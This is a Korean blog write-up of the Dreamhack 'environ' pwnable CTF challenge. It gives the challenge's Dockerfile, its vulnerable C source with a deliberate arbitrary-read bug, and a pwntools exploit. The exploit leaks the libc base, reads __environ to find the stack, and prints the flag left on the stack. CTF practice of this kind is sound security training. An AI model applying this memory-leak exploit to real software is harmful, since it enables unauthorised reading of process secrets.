기본적인 파트라 이번 6주차에 작게 끼워져있는 주제이다.
environ 변수를 활용해보자.
Dockerfile
FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
ENV user environ
ENV chall_port 7182
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("./flag", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p\n", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
Ubuntu 22.04
pwndbg> checksec
File: /home/alex030905/pwnable/environ/environ
Arch: amd64
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
코드 분석
stdout 함수를 주면서 libc base 는 주어졌다.
그리고 read_file() 함수를 실행시켜놨기 때문에 스택 어디엔가 flag의 값이 남아있지 않을까란 생각이 들었다.
environ 변수로 저장된 값을 읽어와보자.
environ 변수는 현재 프로세스의 환경 변수 배열의 주소를 담고 있는데,
얘가 스택에 위치한다. 그러니까 environ 변수를 읽어서 스택 중 read_file 이 저장해둔 곳인 rcx를 읽어버리면 플래그가 나올 것이다.
readfile 에서 파일을 읽는 부분에서 브레이크를 걸고 rcx와 environ 의 오프셋을 구했다.
바로 익스플로잇 코드를 짜보자.
익스플로잇 코드
from pwn import *
#p = process('./environ')
p = remote('host8.dreamhack.games', 23030)
libc = ELF('./libc.so.6')
p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
libc_env = libc_base + libc.symbols['__environ']
print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_env))
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Addr: ', str(libc_env).encode())
stack_environ = u64(p.recv(6).ljust(8, b'\x00'))
flag = stack_environ - 0x1568
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Addr: ', str(flag).encode())
p.interactive()
답이 나왔다.
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Send_sig (1) | 2026.04.16 |
|---|---|
| [Pwnable Advanced] Exploit Tech: SigReturn-Oriented Programming (1) | 2026.04.16 |
| [Pwnable Advanced] rtld (1) | 2026.04.16 |
| [Pwnable Advanced] Exploit Tech: overwrite _rtld_global (1) | 2026.04.16 |
| [Pwnable Advanced] master_canary (0) | 2026.04.16 |